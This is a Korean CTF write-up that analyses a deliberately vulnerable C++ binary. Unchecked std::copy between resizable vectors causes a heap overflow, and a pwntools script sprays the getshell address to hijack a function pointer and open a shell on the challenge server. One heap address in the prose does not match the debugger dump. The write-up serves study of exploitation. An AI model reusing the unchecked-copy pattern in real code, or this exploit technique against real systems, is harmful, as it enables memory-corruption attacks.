개념정리
container overflow
와 관련된 문제를 다룬다.
C++에서는 std::memcpy
, std::memmove
, std::memset
, std::copy
와 같이 메모리를 복사하는 함수들이 사용된다. 해당 함수들을 사용하는 경우에는 주의할 점이 있는데, 길이에 대한 검증이다.
만약, 복사 과정에서 길이에 대한 검증이 존재하지 않다면, 쉽게 overflow가 발생할 수 있다.
void f(const std::vector<int> &src) {
std::vector<int> dest(5);
std::copy(src.begin(), src.end(), dest.begin());
}
특히, container는 기본적으로 heap 영역에 데이터가 생성되고 std::copy
를 이용해서 container를 복사할 수 있다.
복사 과정에서 길이에 대한 검증을 수행하지않는다면, heap 영역을 대상으로 overflow가 발생한다. 이러한 취약점을 container overflow
라고 한다.
문제분석
○ Menu
class Menu{
public:
Menu(){
}
Menu(const Menu&){
}
void (*fp)(void) = print_menu;
};
void getshell(){
system("/bin/sh");
}
Menu
클래스를 보자.
public으로 fp가 선언됐고 print_menu가 저장됐다. fp를 getshell 주소로 overwrite 해야 될 것 같다는 느낌이 든다.
○ make_container
void make_container(std::vector<int> &src, std::vector<int> &dest){
std::cout << "Input container1 data" << std::endl;
int data = 0;
for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
std::cout << "input: ";
std::cin >> data;
*iter = data;
}
std::cout << std::endl;
std::cout << "Input container2 data" << std::endl;
for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
std::cout << "input: ";
std::cin >> data;
*iter = data;
}
std::cout << std::endl;
}
make_container()
는 src, dest 벡터에 대한 입력을 받고 저장하는 함수다.
주의할 점은 vector는 int 형이지만 입력값인 data는 string으로 입력받는다. 추후 익스 코드 작성 시, 메모리에 getshell 주소가 정상적으로 저장되도록 입력값을 작성해야 한다.
○ modify_container
void modify_container(std::vector<int> &src, std::vector<int> &dest){
int size = 0;
std::cout << "Input container1 size" << std::endl;
std::cin >> size;
src.resize(size);
std::cout << "Input container2 size" << std::endl;
std::cin >> size;
dest.resize(size);
}
modify_container()
는 src, dest 벡터의 크기를 변경하는 함수다.
이때, size에 대한 검증이 없으므로 size를 큰 값으로 설정할 수 있다.
다음에 나올 copy_container()
와 연계하여 size가 큰 src를 dest에 복사하면 dest에서 heap container overflow가 발생한다.
○ copy_container
void copy_container(std::vector<int> &src, std::vector<int> &dest){
std::copy(src.begin(), src.end(), dest.begin());
std::cout << "copy complete!" << std::endl;
}
copy_container()
는 src를 dest에 복사한다.
src를 dest에 대해서 복사하는 과정에서 복사 길이에 대한 검증이 없다. 따라서 dest에 src가 복사될 때, src가 dest 보다 크기가 크면 dest에서는 overflow가 발생한다.
예를 들어 src 크기가 10000이고 dest가 10이라면 dest 벡터의 시작점을 기준으로 10000개의 데이터가 그대로 복사된다.
○ view_container
void view_container(std::vector<int> &src, std::vector<int> &dest){
std::cout << "container1 data: [";
for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
std::cout << *iter << ", ";
}
std::cout << "]" << "\n" << std::endl;
std::cout << "container2 data: [";
for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
std::cout << *iter << ", ";
}
std::cout << "]" << "\n" << std::endl;
}
view_container()
는 src와 dest 벡터에 저장된 데이터를 출력하는 함수다.
딱히, 중요하지 않으므로 넘어가겠다.
○ main
class Menu{
public:
Menu(){
}
Menu(const Menu&){
}
void (*fp)(void) = print_menu;
};
void getshell(){
system("/bin/sh");
}
.....
int main(){
initialize();
std::vector<int> src(3, 0);
std::vector<int> dest(3, 0);
Menu *menu = new Menu();
int selector = 0;
while(1){
menu->fp();
std::cin >> selector;
switch(selector){
case 1:
make_container(src, dest);
break;
case 2:
modify_container(src, dest);
break;
case 3:
copy_container(src, dest);
break;
case 4:
view_container(src, dest);
break;
case 5:
return 0;
break;
default:
break;
}
}
}
main()
을 보자.
while을 보면 switch가 실행되기 전에 menu→fp()가 루프마다 실행된다.
class Menu{
public:
Menu(){
}
Menu(const Menu&){
}
void (*fp)(void) = print_menu;
};
void getshell(){
system("/bin/sh");
}
처음에 언급한 것처럼 fp를 getshell 주소로 덮어씌우면 menu →fp()를 통해 쉘을 얻을 수 있다.
menu →fp()는 menu 클래스 포인터이므로 heap 영역에 할당된다.
우리가 조작할 수 있는 src와 dest도 힙 영역에 저장되는 데이터들이다. 심지어 벡터 크기를 자유롭게 조작할 수도 있으므로 heap 영역을 원하는 만큼 특정 데이터로 덮어쓸 수 있다.
벡터에 저장하는 값이 정말로 heap 영역에 할당되는지 확인해보자.
○ check vector data
pwndbg> p make_container
$1 = {<text variable, no debug info>} 0x401052 <make_container(std::vector<int, std::allocator<int> >&, std::vector<int, std::allocator<int> >&)>
make_container()
의 주소는 0x401052이다.
0x000000000040157a <+213>: lea rdx,[rbp-0x30]
0x000000000040157e <+217>: lea rax,[rbp-0x50]
0x0000000000401582 <+221>: mov rsi,rdx
0x0000000000401585 <+224>: mov rdi,rax
0x0000000000401588 <+227>: call 0x401052 <_Z14make_containerRSt6vectorIiSaIiEES2_>
코드를 보면 0x401052를 호출하는 과정에서 [rbp-0x30], [rbp-0x50]
을 인자로 사용한다.
rsi에 저장되는 값이 [rbp-0x30]
이므로
[rbp-0x30] == dest
다.
pwndbg> b *main+232
Breakpoint 1 at 0x40158d
...
pwndbg> x/16gx $rbp-0x30
0x7fffffffde00: 0x0000000000616ed0 0x0000000000616edc
0x7fffffffde10: 0x0000000000616edc 0xe2e7f099e2c75700
0x7fffffffde20: 0x0000000000000000 0x00007fffffffdf48
0x7fffffffde30: 0x0000000000000001 0x00007ffff7a4618a
0x7fffffffde40: 0x0000000000000000 0x00000000004014a5
0x7fffffffde50: 0x0000000100000000 0x00007fffffffdf48
0x7fffffffde60: 0x00007fffffffdf48 0xbe8d44f6cc9e4b1c
0x7fffffffde70: 0x0000000000000000 0x00007fffffffdf58
pwndbg> x/16x 0x0000000000616ed0
0x616ed0: 0x0000000100000001 0x0000000000000001
make_container()
후에 break point를 설정하고 dest에 "1" 을 3개 저장한 결과다.
[rbp-0x30]
은 데이터가 저장되는 heap 영역의 주소(0x616e6d)
가 할당된 것을 알 수 있다.
데이터가 저장되는 heap 영역의 주소(0x616e6d)
를 확인하면 입력한 "1"이 int(4바이트) 형태로 heap 영역에 저장된 것을 확인할 수 있다.
문제풀이
정리하자면 fp, src, dest는 모두 힙 영역의 데이터다.
src, dest를 이용해서 heap container overflow를 수행할 수 있고 fp를 원하는 값으로 덮어씌우는 것이 가능하다. 하지만 fp의 정확한 위치를 모른다는 점이 문제다.
사실 이 부분은 어렵게 생각할 필요없다.
src 크기를 크게 늘리고 getshell 주소를 저장한 후 dest에도 복사한다고 해보자. heap 영역에 getshell로 overwrite 된 영역이 그만큼 생성될 것이다.
> Before Heap
[src]...[dest]......[fp]
> After Heap
[getshell]...........[fp == getshell].......[getshell].....
위 예제와 같이 많은 공간을 getshell로 overwrite 하면 fp의 위치를 모르더라도 fp가 getshell 주소로 overwrite 될 확률이 높다.
이렇게 overwrite가 되면 다음 main 루프에서 menu →fp()를 실행되면 getshell()
이 실행될 것이다.
exploit
import base64
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 19667)
#p = process('./cpp_container_1')
p.sendlineafter(': ', '2')
p.sendlineafter('\n', '100')
p.sendlineafter('\n', '1')
p.sendlineafter(': ', '1')
for i in range(50):
p.sendlineafter(': ', str(4198465))
p.sendlineafter(': ', str(0))
p.sendlineafter(': ', str(4198465))
p.sendlineafter(': ', '3')
p.interactive()
익스 코드다.
src 크기를 100으로 바꾸고 getshell 주소를 src에 저장한다.
이때, 주의할 점은 src는 int 형이지만 입력을 string으로 받기 때문에 형변환을 고려해서 getshell 주소를 10진수로 변경한 문자열을 전송해야한다. 또한 int 형이므로 4바이트씩 저장되기 때문에 fp를 getshell 주소로 8바이트 형태의 getshell 주소로 저장하기 위해 getshell 주소
와 0
을 반복해서 저장했다. (0x0000000000401041 와 같이 8바이트 형태로 저장했다는 뜻이다.)
다음으로 src를 dest에 복사하면 heap 영역에 저장된 getshell로 overwrite 된 영역
이 2배로 증가한다. 따라서 fp가 getshell로 overwrite 될 확률이 더 높아진다.
코드를 실행해보자.